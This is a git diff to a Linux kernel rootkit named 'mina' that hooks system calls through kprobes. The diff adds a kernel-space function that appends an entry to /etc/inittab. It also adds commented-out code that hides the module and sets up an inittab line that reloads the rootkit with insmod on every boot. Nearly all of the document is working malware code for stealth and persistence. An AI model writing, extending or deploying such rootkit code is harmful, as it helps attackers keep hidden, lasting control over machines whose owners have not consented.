mina.ko

diff --git a/rootkit/hooks/kill.c b/rootkit/hooks/kill.c
@@ -12,7 +12,8 @@ struct list_head *prev_module;
 
 asmlinkage int64_t hook_syskill(const struct pt_regs *regs) {
 
-    printk(KERN_INFO "[MINA] in hooked signal\n\t=> sig:%i\tpid:%i\n", regs->si, regs->di);
+    /* FIXME(djnn): it seems this hook is actually never called...? */
+
     if (kill_original == NULL)
         kill_original = syscall_linear_search(HOOK_SYSCALL_NAME);
 

diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -1,6 +1,8 @@
+#include <linux/fs.h>
 #include <linux/init.h>
 #include <linux/kernel.h>
 #include <linux/module.h>
+#include <linux/slab.h>
 
 #include "includes/mina.h"
 
@@ -24,6 +26,26 @@ int nb_hooks(void) {
     return (sizeof(SYS_HOOKS) / sizeof(SYS_HOOKS[0]));
 }
 
+static int __add_inittab_entry(char const *entry) {
+    int ret = 0;
+    struct file *file;
+    loff_t pos = 0;
+
+    file = filp_open("/etc/inittab", O_WRONLY | O_APPEND, 0);
+    if (IS_ERR(file)) {
+        ret = PTR_ERR(file);
+    }
+
+    ret = kernel_write(file, entry, strlen(entry), &pos);
+    if (ret < 0) {
+        filp_close(file, NULL);
+        return ret;
+    }
+
+    filp_close(file, NULL);
+    return 0;
+}
+
 void *syscall_linear_search(const char *hk_name) {
     for (int i = 0; i < nb_hooks(); i++) {
         if (!strcmp(SYS_HOOKS[i].kpb.symbol_name, hk_name))
@@ -82,8 +104,6 @@ static int __setup_hooks(void) {
 static void __remove_hooks(void) {
     hook_t *iter = NULL;
 
-    printk(KERN_INFO "bye-bye mina ~\n");
-
     for (int i = 0; i < nb_hooks(); i++) {
         iter = &SYS_HOOKS[i];
         unregister_kprobe(&iter->kpb);
@@ -96,7 +116,16 @@ static int __init module_start(void) {
     if (__setup_hooks() < 0)
         return 1;
 
-    // hide_module();
+    /* uncomment this if you want the rootkit to hide itself automatically.
+
+    hide_module();
+    */
+
+    /* uncomment this if you want the rootkit to automatically be there on boot.
+
+    if (__add_inittab_entry("::sysinit:/sbin/insmod /root/mina.ko\n";) != 0)
+        return 1;
+    */
 
     /*
        TODO(djnn):
@@ -112,6 +141,7 @@ static int __init module_start(void) {
 
 static void __exit module_end(void) {
     __remove_hooks();
+    printk(KERN_INFO "bye-bye mina ~\n");
 }
 
 module_init(module_start);